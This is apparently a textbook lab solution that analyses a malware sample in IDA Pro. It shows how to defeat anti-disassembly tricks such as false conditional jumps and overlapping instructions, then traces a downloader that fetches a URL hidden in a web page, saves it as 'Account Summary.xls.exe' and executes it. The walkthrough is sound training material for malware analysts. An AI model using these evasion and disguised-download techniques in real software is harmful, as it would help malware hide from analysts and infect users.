The URL initially requested is http://www.practicalmalwareanalysis.com/bamboo.html.
The User-Agent string is generated by adding 1 to each letter and number in the hostname (Z and 9 are rotated to A and 0).
The program looks for the string Bamboo:: in the page it
requested.
The program searches beyond the Bamboo:: string to
find an additional ::, which it converts to a NULL terminator.
The string in between Bamboo and the terminator is downloaded to
a file named Account Summary.xls.exe and executed.
Open the binary with IDA Pro and scroll to the main
function at offset 0x00401000. We will begin with disarming this function by reading it top to
bottom, fixing each countermeasure until we reach the logical end of the function. The first
countermeasure we encounter is shown in Example C-122 at address
0x0040115A.
Example C-122. False conditional
0040115A test esp, esp 0040115C jnz short near ptr loc_40115E+1 ❶ 0040115E 0040115E loc_40115E: ; CODE XREF: 0040115Cj 0040115E jmp near ptr 0AA11CDh ❷ 0040115E ; ---------------------------------------------------------------------- 00401163 db 6Ah 00401164 dd 0E8006A00h, 21Ah, 5C858B50h, 50FFFEFDh, 206415FFh, 85890040h 00401164 dd 0FFFFFD64h, 0FD64BD83h, 7400FFFFh, 0FC8D8D24h, 51FFFFFEh
The listing shows a false conditional used by the jnz
instruction at ❶. The jump will always be taken because
the value of ESP will always be nonzero at this point in the program. The ESP register is never
loaded with a specific value, but it must be nonzero for a normal functioning Win32
application.
The target of the jump lies within the 5-byte jmp
instruction at ❷. Turn this instruction into data by
putting your cursor at ❷ and pressing D on the keyboard.
Then put your cursor on the jump target line 0x0040115F and press C to turn the line into
code.
We continue reading the code until we encounter the anti-disassembly countermeasure at line
0x004011D0. This is a simple false conditional based on a jz
following an xor eax, eax instruction. Correct this disassembly
in the same fashion as in Lab 15-1 Solutions. Be sure to continue turning bytes
into code so it reads clearly. Continue reading the code until you come to the next countermeasure
at line 0x00401215, which is shown in Example C-123.
Example C-123. jmp into itself
00401215 loc_401215: ; CODE XREF: loc_401215j
00401215 EB FF ❶ jmp short near ptr loc_401215+1At ❶ is a 2-byte jmp instruction whose target is the second byte of itself. The second byte is the first
byte of the next instruction. Turn this instruction into data and put your cursor on the second
byte, location 0x00401216, and turn it into code. To force IDA Pro to produce a clean graph, turn
the first byte of the jmp instruction (0xEB) into a NOP. If you are using the commercial version of IDA Pro, select File ▸ Python
command, enter PatchByte(0x401215,
0x90) into the text box, and click OK. Now
put your cursor on the location 0x00401215, which should contain the value db 90h, and convert it to code by pressing the C key.
Continue reading the code until you reach the next countermeasure at line 0x00401269, which is shown in Example C-124.
Example C-124. False conditionals with the same target
00401269 jz short near ptr loc_40126D+1 ❶ 0040126B jnz short near ptr loc_40126D+1 ❷ 0040126D 0040126D loc_40126D: ; CODE XREF: 00401269j 0040126D ; 0040126Bj 0040126D call near ptr 0FF3C9FFFh ❸
Example C-124 shows a false conditional based on
putting both halves of a conditional branch back-to-back (❶ and ❷) and pointing at the same target.
The same target for jnz and jz
means that the countermeasure does not depend on a specific state of the zero flag as either set or
unset in order to hit the target code. In this case, the target is in the middle of the call instruction on line 0x0040126D at ❸. Convert this instruction to data by pressing the D key on the keyboard. Then put your
cursor on line 0x0040126E to convert it to code with the C key.
Continue reading the code until you reach the next countermeasure at line 0x004012E6, which is shown in Example C-125.
Example C-125. False conditionals into the middle of the previous instruction
004012E6 loc_4012E6: ; CODE XREF: 004012ECj 004012E6 66 B8 EB 05 mov ax, 5EBh ❷ 004012EA 31 C0 xor eax, eax 004012EC 74 FA jz short near ptr loc_4012E6+2 ❶ 004012EE E8 6A 0A 6A 00 call near ptr 0AA1D5Dh
Example C-125 shows an advanced countermeasure
that involves a false conditional jump into the middle of a previous instruction as seen with the
upward-jumping jz at ❶. This jumps into the middle of the mov instruction
at ❷.
It is impossible to have the disassembler show all the instructions that are executed in this
case because the opcodes are used twice, so just follow the code logically and convert each
instruction to code as you reach it. When you are finished with this countermeasure, it should look
like the code in Example C-126. At ❶, we see the middle of the mov
instruction from the previous listing converted to a proper jmp
instruction.
Example C-126. Manually repaired anti-disassembly code
004012E6 66 db 66h 004012E7 B8 db 0B8h ; + 004012E8 ; ------------------------------------------------------------ 004012E8 004012E8 loc_4012E8: ; CODE XREF: 004012ECj 004012E8 EB 05 jmp short loc_4012EF ❶ 004012EA ; ------------------------------------------------------------ 004012EA 31 C0 xor eax, eax 004012EC 74 FA jz short loc_4012E8 004012EC ; ------------------------------------------------------------ 004012EE E8 db 0E8h ❷ 004012EF ; ------------------------------------------------------------ 004012EF 004012EF loc_4012EF: ; CODE XREF: loc_4012E8j 004012EF 6A 0A push 0Ah
You can convert all the extra db bytes (like the one shown
at ❷) to NOPs using the IDA Python PatchByte option described after Example C-123. This
will allow you to create a proper function within IDA Pro. To create a function, after patching the
NOPs, select all the code from the retn instruction on line
0x0040130E to the beginning of the function at 0x00401000, and press the P key. To view the
resulting function graphically, press the spacebar.
The two functions (sub_40130F and sub_401386) immediately follow the main function. Each
builds a string on the stack, duplicating it to the heap with strdup, and returns a pointer to the heap string. The malware author crafted this
function to build the string so that it will not show up as a plaintext string in the binary, but
will appear only in memory at runtime. The first of these two functions produces the string http://www.practicalmalwareanalysis.com/bamboo.html, and the second
produces the string Account Summary.xls.exe. Having defeated all
the anti-disassembly countermeasures in the main function, these
functions should show cross-references to where they are called from the main function. Rename these functions buildURL and
buildFilename by putting your cursor on the function name and
pressing the N key on the keyboard.
Example C-127 shows the call to buildURL (our renamed function) at ❶.
Example C-127. Opening the http://www.practicalmalwareanalysis.com/bamboo.html URL
0040115F push 0 00401161 push 0 00401163 push 0 00401167 push 0 0040116C call buildURL ❶ 0040116D push eax 00401173 mov edx, [ebp+var_10114] 00401174 push edx 0040117A call ds:InternetOpenUrlA ❷
Reading the code further, we see that it attempts to open the bamboo.html URL returned from buildURL at ❷ using InternetOpenUrlA. In order to determine the User-Agent string used by the malware when
calling the InternetOpenUrlA function, we need to first find the
InternetOpen function call and determine what data is passed to
it. Earlier in the function, we see InternetOpenA called, as
shown in Example C-128.
Example C-128. Setting up the connection via InternetOpenA
0040113F push 0 00401141 push 0 00401143 push 0 00401145 push 1 00401147 lea ecx, [ebp+name] ❷ 0040114D push ecx ❶ 0040114E call ds:InternetOpenA
The first argument to InternetOpenA at ❶ is the User-Agent string. ECX is pushed as this argument, and
the lea instruction loads it with a pointer to a location on the
stack. IDA Pro’s stack frame analysis has named this location name, as seen at ❷. We must scroll up in the
function to see where name is getting populated. Near the
beginning of the function, shown in Example C-129, we
see a reference to the name location at ❶.
Example C-129. Using gethostname to get the local machine’s
name
00401047 push 100h ; namelen
0040104C lea eax, [ebp+name] ❶
00401052 push eax ; name
00401053 call ds:gethostnameThe gethostname function will populate a buffer with the
hostname of the local machine. Based on Example C-129,
you might be tempted to conclude that the User-Agent string will be the hostname, but you would be
only partially correct. In fact, careful examination of the code between locations 0x00401073 and
0x0040113F (not shown here) reveals a loop that is responsible for modifying each letter or number
within the hostname by incrementing it by one before using it as the User-Agent. (The letter and
number at the end, Z and 9, are reset to A and 0.)
Following the call to InternetOpenA and the first call to
InternetOpenUrlA, the data (an HTML web page) is downloaded to a
local buffer with a call to InternetReadFile, as shown in Example C-130 at ❶. The buffer to contain the data is the second argument, which has been named
automatically by IDA Pro as Str at ❷. A few lines down in the function, we see the
Str buffer accessed again at ❸.
Example C-130. Reading and parsing the downloaded HTML
0040118F push eax 00401190 push 0FFFFh 00401195 lea ecx, [ebp+Str] ❷ 0040119B push ecx 0040119C mov edx, [ebp+var_10C] 004011A2 push edx 004011A3 call ds:InternetReadFile ❶ ... 004011D5 push offset SubStr ; "Bamboo::" 004011DA lea ecx, [ebp+Str] ❸ 004011E0 push ecx ; Str 004011E1 call ds:strstr ❹
The strstr function at ❹ is used to find a substring within a larger string. In this
case, it is finding the string Bamboo:: within the buffer
Str, which contains all the data we retrieved from the initial
URL. The code immediately following the strstr call is shown in
Example C-131.
Example C-131. Parsing a string separated by Bamboo:: and ::
004011E7 add esp, 8 004011EA mov [ebp+var_108], eax ❶ 004011F0 cmp [ebp+var_108], 0 004011F7 jz loc_401306 004011FD push offset asc_40303C ; "::" 00401202 mov edx, [ebp+var_108] 00401208 push edx ; Str 00401209 call ds:strstr ❷ 0040120F add esp, 8 00401212 mov byte ptr [eax], 0 ❸ ... 00401232 mov eax, [ebp+var_108] 00401238 add eax, 8 ❹ 0040123E mov [ebp+var_108], eax
As you can see, the pointer to the string Bamboo:: found
within the downloaded HTML is stored in var_108 at ❶. A second call to strstr,
seen at ❷, is called to search for the next ::. Once two colons are found, the code at ❸ replaces the first colon with a NULL, which is designed to
terminate the string that is contained in between Bamboo:: and
::.
The pointer stored at var_108 is incremented by eight at
❹. This happens to be the exact string length of
Bamboo::, which is what the pointer is referencing. After this
operation, the pointer will reference whatever followed the colons. Since the code already found the
trailing colons and substituted them with a NULL, we now have a proper NULL-terminated string for
whatever was in between Bamboo:: and :: stored in var_108.
Immediately following the string-parsing code, we see var_108 used at ❶ in Example C-132.
Example C-132. Opening another URL in order to download more malware
00401247 push 0
00401249 push 0
0040124B push 0
0040124D push 0
0040124F mov ecx, [ebp+var_108] ❶
00401255 push ecx
00401256 mov edx, [ebp+var_10114]
0040125C push edx
0040125D call ds:InternetOpenUrlAThe second argument (var_108) to InternetOpenUrlA is the URL to open. Therefore, the data in between the Bamboo:: and the trailing colons is intended to be a URL for the program
to download. Analysis of the code between lines 0x0040126E and 0x004012E3 (not shown here), reveals
that the URL opened in Example C-132 is downloaded to
the file Account Summary.xls.exe, which is then launched by a call to ShellExecute on line 0x00401300.